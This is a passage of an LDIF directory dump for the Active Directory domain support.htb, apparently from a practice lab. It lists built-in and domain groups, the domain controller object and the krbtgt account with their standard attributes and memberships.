objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Distributed COM Users, Builtin, support.htb
dn: CN=Distributed COM Users,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Distributed COM Users
description: Members are allowed to launch, activate and use Distributed COM o
 bjects on this machine.
distinguishedName: CN=Distributed COM Users,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8218
uSNChanged: 8218
name: Distributed COM Users
objectGUID:: ykLL4Qo320GU1B2eyYsxcA==
objectSid:: AQIAAAAAAAUgAAAAMgIAAA==
sAMAccountName: Distributed COM Users
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# IIS_IUSRS, Builtin, support.htb
dn: CN=IIS_IUSRS,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: IIS_IUSRS
description: Built-in group used by Internet Information Services.
member: CN=S-1-5-17,CN=ForeignSecurityPrincipals,DC=support,DC=htb
distinguishedName: CN=IIS_IUSRS,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8219
uSNChanged: 8222
name: IIS_IUSRS
objectGUID:: T5pk+KF+/kq0a63JgJAOhg==
objectSid:: AQIAAAAAAAUgAAAAOAIAAA==
sAMAccountName: IIS_IUSRS
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# S-1-5-17, ForeignSecurityPrincipals, support.htb
dn: CN=S-1-5-17,CN=ForeignSecurityPrincipals,DC=support,DC=htb
objectClass: top
objectClass: foreignSecurityPrincipal
cn: S-1-5-17
distinguishedName: CN=S-1-5-17,CN=ForeignSecurityPrincipals,DC=support,DC=htb
showInAdvancedViewOnly: TRUE
name: S-1-5-17
objectGUID:: gydlDq2So0WLWa9L6X0tGQ==
objectSid:: AQEAAAAAAAURAAAA
objectCategory: CN=Foreign-Security-Principal,CN=Schema,CN=Configuration,DC=su
 pport,DC=htb

# Cryptographic Operators, Builtin, support.htb
dn: CN=Cryptographic Operators,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Cryptographic Operators
description: Members are authorized to perform cryptographic operations.
distinguishedName: CN=Cryptographic Operators,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8223
uSNChanged: 8223
name: Cryptographic Operators
objectGUID:: +8OHYcwIJk+kTSXH99ZkNw==
objectSid:: AQIAAAAAAAUgAAAAOQIAAA==
sAMAccountName: Cryptographic Operators
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Event Log Readers, Builtin, support.htb
dn: CN=Event Log Readers,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Event Log Readers
description: Members of this group can read event logs from local machine
distinguishedName: CN=Event Log Readers,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8224
uSNChanged: 8224
name: Event Log Readers
objectGUID:: CKFOSg7mC022Gewvy1CpmQ==
objectSid:: AQIAAAAAAAUgAAAAPQIAAA==
sAMAccountName: Event Log Readers
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Certificate Service DCOM Access, Builtin, support.htb
dn: CN=Certificate Service DCOM Access,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Certificate Service DCOM Access
description: Members of this group are allowed to connect to Certification Aut
 horities in the enterprise
distinguishedName: CN=Certificate Service DCOM Access,CN=Builtin,DC=support,DC
 =htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8225
uSNChanged: 8225
name: Certificate Service DCOM Access
objectGUID:: ATV5OOV0o0SnDdet/Y5AJw==
objectSid:: AQIAAAAAAAUgAAAAPgIAAA==
sAMAccountName: Certificate Service DCOM Access
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# RDS Remote Access Servers, Builtin, support.htb
dn: CN=RDS Remote Access Servers,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: RDS Remote Access Servers
description: Servers in this group enable users of RemoteApp programs and pers
 onal virtual desktops access to these resources. In Internet-facing deploymen
 ts, these servers are typically deployed in an edge network. This group needs
  to be populated on servers running RD Connection Broker. RD Gateway servers
 and RD Web Access servers used in the deployment need to be in this group.
distinguishedName: CN=RDS Remote Access Servers,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8226
uSNChanged: 8226
name: RDS Remote Access Servers
objectGUID:: 3l5bb5zdhU62QLD+PIEL/A==
objectSid:: AQIAAAAAAAUgAAAAPwIAAA==
sAMAccountName: RDS Remote Access Servers
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# RDS Endpoint Servers, Builtin, support.htb
dn: CN=RDS Endpoint Servers,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: RDS Endpoint Servers
description: Servers in this group run virtual machines and host sessions wher
 e users RemoteApp programs and personal virtual desktops run. This group need
 s to be populated on servers running RD Connection Broker. RD Session Host se
 rvers and RD Virtualization Host servers used in the deployment need to be in
  this group.
distinguishedName: CN=RDS Endpoint Servers,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8227
uSNChanged: 8227
name: RDS Endpoint Servers
objectGUID:: ryPVnURbAUKwLweDjZbI9g==
objectSid:: AQIAAAAAAAUgAAAAQAIAAA==
sAMAccountName: RDS Endpoint Servers
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# RDS Management Servers, Builtin, support.htb
dn: CN=RDS Management Servers,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: RDS Management Servers
description: Servers in this group can perform routine administrative actions
 on servers running Remote Desktop Services. This group needs to be populated
 on all servers in a Remote Desktop Services deployment. The servers running t
 he RDS Central Management service must be included in this group.
distinguishedName: CN=RDS Management Servers,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8228
uSNChanged: 8228
name: RDS Management Servers
objectGUID:: xfJ4+ffz10iRfRC3mwQoUQ==
objectSid:: AQIAAAAAAAUgAAAAQQIAAA==
sAMAccountName: RDS Management Servers
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Hyper-V Administrators, Builtin, support.htb
dn: CN=Hyper-V Administrators,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Hyper-V Administrators
description: Members of this group have complete and unrestricted access to al
 l features of Hyper-V.
distinguishedName: CN=Hyper-V Administrators,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8229
uSNChanged: 8229
name: Hyper-V Administrators
objectGUID:: DDToSXMWh0ioLydS7mi+4A==
objectSid:: AQIAAAAAAAUgAAAAQgIAAA==
sAMAccountName: Hyper-V Administrators
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Access Control Assistance Operators, Builtin, support.htb
dn: CN=Access Control Assistance Operators,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Access Control Assistance Operators
description: Members of this group can remotely query authorization attributes
  and permissions for resources on this computer.
distinguishedName: CN=Access Control Assistance Operators,CN=Builtin,DC=suppor
 t,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8230
uSNChanged: 8230
name: Access Control Assistance Operators
objectGUID:: SIxcZOjf7UeQ1bkag/P6xg==
objectSid:: AQIAAAAAAAUgAAAAQwIAAA==
sAMAccountName: Access Control Assistance Operators
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Remote Management Users, Builtin, support.htb
dn: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Remote Management Users
description: Members of this group can access WMI resources over management pr
 otocols (such as WS-Management via the Windows Remote Management service). Th
 is applies only to WMI namespaces that grant access to the user.
member: CN=support,CN=Users,DC=support,DC=htb
distinguishedName: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528111204.0Z
uSNCreated: 8231
uSNChanged: 12632
name: Remote Management Users
objectGUID:: bBxECyDbVkm+f7mMKL8Sog==
objectSid:: AQIAAAAAAAUgAAAARAIAAA==
sAMAccountName: Remote Management Users
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Storage Replica Administrators, Builtin, support.htb
dn: CN=Storage Replica Administrators,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Storage Replica Administrators
description: Members of this group have complete and unrestricted access to al
 l features of Storage Replica.
distinguishedName: CN=Storage Replica Administrators,CN=Builtin,DC=support,DC=
 htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8232
uSNChanged: 8232
name: Storage Replica Administrators
objectGUID:: GDF2Ej1g8kiltuNsib0CrA==
objectSid:: AQIAAAAAAAUgAAAARgIAAA==
sAMAccountName: Storage Replica Administrators
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Server, System, support.htb
dn: CN=Server,CN=System,DC=support,DC=htb
objectClass: top
objectClass: securityObject
objectClass: samServer
cn: Server
distinguishedName: CN=Server,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110947.0Z
uSNCreated: 8233
uSNChanged: 12570
showInAdvancedViewOnly: TRUE
name: Server
objectGUID:: TWzd8SYR1kO8dUUkzZsPCg==
revision: 65545
systemFlags: -1946157056
objectCategory: CN=Sam-Server,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z
samDomainUpdates:: /v8P

# DC, Domain Controllers, support.htb
dn: CN=DC,OU=Domain Controllers,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
objectClass: computer
cn: DC
distinguishedName: CN=DC,OU=Domain Controllers,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20260414232844.0Z
uSNCreated: 12293
uSNChanged: 90149
name: DC
objectGUID:: HD+hr5kDfk+GP+nDuUxBJw==
userAccountControl: 532480
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 134206846878792737
localPolicyFlags: 0
pwdLastSet: 134206829123948929
primaryGroupID: 516
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEIL6AMAAA==
accountExpires: 9223372036854775807
logonCount: 60
sAMAccountName: DC$
sAMAccountType: 805306369
operatingSystem: Windows Server 2022 Standard
operatingSystemVersion: 10.0 (20348)
serverReferenceBL: CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Con
 figuration,DC=support,DC=htb
dNSHostName: dc.support.htb
rIDSetReferences: CN=RID Set,CN=DC,OU=Domain Controllers,DC=support,DC=htb
servicePrincipalName: Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/dc.support.htb
servicePrincipalName: ldap/dc.support.htb/ForestDnsZones.support.htb
servicePrincipalName: ldap/dc.support.htb/DomainDnsZones.support.htb
servicePrincipalName: DNS/dc.support.htb
servicePrincipalName: GC/dc.support.htb/support.htb
servicePrincipalName: RestrictedKrbHost/dc.support.htb
servicePrincipalName: RestrictedKrbHost/DC
servicePrincipalName: RPC/290156e5-22cb-4f1b-9b96-5516d84c363c._msdcs.support.
 htb
servicePrincipalName: HOST/DC/SUPPORT
servicePrincipalName: HOST/dc.support.htb/SUPPORT
servicePrincipalName: HOST/DC
servicePrincipalName: HOST/dc.support.htb
servicePrincipalName: HOST/dc.support.htb/support.htb
servicePrincipalName: E3514235-4B06-11D1-AB04-00C04FC2DCD2/290156e5-22cb-4f1b-
 9b96-5516d84c363c/support.htb
servicePrincipalName: ldap/DC/SUPPORT
servicePrincipalName: ldap/290156e5-22cb-4f1b-9b96-5516d84c363c._msdcs.support
 .htb
servicePrincipalName: ldap/dc.support.htb/SUPPORT
servicePrincipalName: ldap/DC
servicePrincipalName: ldap/dc.support.htb
servicePrincipalName: ldap/dc.support.htb/support.htb
objectCategory: CN=Computer,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111813.0Z
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000416.0Z
lastLogonTimestamp: 134206829240355365
msDS-SupportedEncryptionTypes: 28
msDS-GenerationId:: wTOtVvrE8RY=
msDFSR-ComputerReferenceBL: CN=DC,CN=Topology,CN=Domain System Volume,CN=DFSR-
 GlobalSettings,CN=System,DC=support,DC=htb

# krbtgt, Users, support.htb
dn: CN=krbtgt,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: krbtgt
description: Key Distribution Center Service Account
distinguishedName: CN=krbtgt,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 12324
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=support,DC=htb
uSNChanged: 13087
showInAdvancedViewOnly: TRUE
name: krbtgt
objectGUID:: /xb62J8VtUOrxKFMpoVR1g==
userAccountControl: 514
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982094237626330
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEIL9gEAAA==
adminCount: 1
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: krbtgt
sAMAccountType: 805306368
servicePrincipalName: kadmin/changepw
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000416.0Z
msDS-SupportedEncryptionTypes: 0

# Domain Computers, Users, support.htb
dn: CN=Domain Computers,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Domain Computers
description: All workstations and servers joined to the domain
distinguishedName: CN=Domain Computers,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12330
uSNChanged: 12332
name: Domain Computers
objectGUID:: FIrWiW7Kr0GFu2diC0RPew==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILAwIAAA==
sAMAccountName: Domain Computers
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Domain Controllers, Users, support.htb
dn: CN=Domain Controllers,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Domain Controllers
description: All domain controllers in the domain
distinguishedName: CN=Domain Controllers,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 12333
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=support,DC=htb
uSNChanged: 13088
name: Domain Controllers
objectGUID:: dN6L6IBw9kCwkCFFY6rSWg==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILBAIAAA==
adminCount: 1
sAMAccountName: Domain Controllers
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000416.0Z

# Schema Admins, Users, support.htb
dn: CN=Schema Admins,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Schema Admins
description: Designated administrators of the schema
member: CN=Administrator,CN=Users,DC=support,DC=htb
distinguishedName: CN=Schema Admins,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 12336
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=support,DC=htb
uSNChanged: 13074
name: Schema Admins
objectGUID:: t4lVcdkLMU+XgbSieUBxbQ==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILBgIAAA==
adminCount: 1
sAMAccountName: Schema Admins
sAMAccountType: 268435456
groupType: -2147483640
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000416.0Z

# Enterprise Admins, Users, support.htb
dn: CN=Enterprise Admins,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Enterprise Admins
description: Designated administrators of the enterprise
member: CN=Administrator,CN=Users,DC=support,DC=htb
distinguishedName: CN=Enterprise Admins,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 12339
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=support,DC=htb
memberOf: CN=Administrators,CN=Builtin,DC=support,DC=htb
uSNChanged: 13073
name: Enterprise Admins
objectGUID:: q3daaBUIyEaH519un0AO1A==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILBwIAAA==
adminCount: 1
sAMAccountName: Enterprise Admins
sAMAccountType: 268435456
groupType: -2147483640
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000416.0Z

# Cert Publishers, Users, support.htb
dn: CN=Cert Publishers,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Cert Publishers
description: Members of this group are permitted to publish certificates to th
 e directory
distinguishedName: CN=Cert Publishers,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12342
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=support,DC=htb
uSNChanged: 12344
name: Cert Publishers
objectGUID:: PAzQuO/hA0qzHxyiYOc4jw==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILBQIAAA==
sAMAccountName: Cert Publishers
sAMAccountType: 536870912
groupType: -2147483644
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Domain Admins, Users, support.htb
dn: CN=Domain Admins,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Domain Admins
description: Designated administrators of the domain
member: CN=Administrator,CN=Users,DC=support,DC=htb
distinguishedName: CN=Domain Admins,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 12345
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=support,DC=htb
memberOf: CN=Administrators,CN=Builtin,DC=support,DC=htb
uSNChanged: 13069
name: Domain Admins
objectGUID:: TwvrOpHMLUyAW0q4RHRefQ==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILAAIAAA==
adminCount: 1
sAMAccountName: Domain Admins
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000416.0Z

# Domain Users, Users, support.htb
dn: CN=Domain Users,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Domain Users
description: All domain users
distinguishedName: CN=Domain Users,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12348
memberOf: CN=Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12350
name: Domain Users
objectGUID:: 0o8/7t9hYEOGiqI3/a9qPw==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILAQIAAA==
sAMAccountName: Domain Users
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Domain Guests, Users, support.htb
dn: CN=Domain Guests,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Domain Guests
description: All domain guests
distinguishedName: CN=Domain Guests,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12351
memberOf: CN=Guests,CN=Builtin,DC=support,DC=htb
uSNChanged: 12353
name: Domain Guests
objectGUID:: FohOjdYt806Z8OJmhd8T8g==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILAgIAAA==
sAMAccountName: Domain Guests
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Group Policy Creator Owners, Users, support.htb
dn: CN=Group Policy Creator Owners,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Group Policy Creator Owners
description: Members in this group can modify group policy for the domain
member: CN=Administrator,CN=Users,DC=support,DC=htb
distinguishedName: CN=Group Policy Creator Owners,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12354
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=support,DC=htb
uSNChanged: 12391
name: Group Policy Creator Owners
objectGUID:: V/lnboosdEKRY0iXk4eXhg==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILCAIAAA==
sAMAccountName: Group Policy Creator Owners
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# RAS and IAS Servers, Users, support.htb
dn: CN=RAS and IAS Servers,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: RAS and IAS Servers
description: Servers in this group can access remote access properties of user
 s
distinguishedName: CN=RAS and IAS Servers,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12357
uSNChanged: 12359
name: RAS and IAS Servers
objectGUID:: aziHrRu9g0eTB+Blm+vlzg==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILKQIAAA==
sAMAccountName: RAS and IAS Servers
sAMAccountType: 536870912
groupType: -2147483644
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Server Operators, Builtin, support.htb
dn: CN=Server Operators,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Server Operators
description: Members can administer domain servers
distinguishedName: CN=Server Operators,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 12360
uSNChanged: 13078
name: Server Operators
objectGUID:: DGoY0QYaKEmGlsWcM7Tzeg==
objectSid:: AQIAAAAAAAUgAAAAJQIAAA==
adminCount: 1
sAMAccountName: Server Operators
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000416.0Z

# Account Operators, Builtin, support.htb
dn: CN=Account Operators,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Account Operators
description: Members can administer domain user and group accounts
distinguishedName: CN=Account Operators,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 12363
uSNChanged: 13083
name: Account Operators
objectGUID:: dOBCRhjz/UqvGBhAcMFJxw==
objectSid:: AQIAAAAAAAUgAAAAJAIAAA==
adminCount: 1
sAMAccountName: Account Operators
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000416.0Z

# Pre-Windows 2000 Compatible Access, Builtin, support.htb
dn: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Pre-Windows 2000 Compatible Access
description: A backward compatibility group which allows read access on all us
 ers and groups in the domain
member: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=support,DC=htb
distinguishedName: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=support
 ,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12366
uSNChanged: 12393
name: Pre-Windows 2000 Compatible Access
objectGUID:: SFZQW3GCpUOQ70Bg7WjHOQ==
objectSid:: AQIAAAAAAAUgAAAAKgIAAA==
sAMAccountName: Pre-Windows 2000 Compatible Access
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Incoming Forest Trust Builders, Builtin, support.htb
dn: CN=Incoming Forest Trust Builders,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Incoming Forest Trust Builders
description: Members of this group can create incoming, one-way trusts to this
  forest
distinguishedName: CN=Incoming Forest Trust Builders,CN=Builtin,DC=support,DC=
 htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12369
uSNChanged: 12371
name: Incoming Forest Trust Builders
objectGUID:: tSgYxq0RMECHYiLafmbvBQ==
objectSid:: AQIAAAAAAAUgAAAALQIAAA==
sAMAccountName: Incoming Forest Trust Builders
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Windows Authorization Access Group, Builtin, support.htb
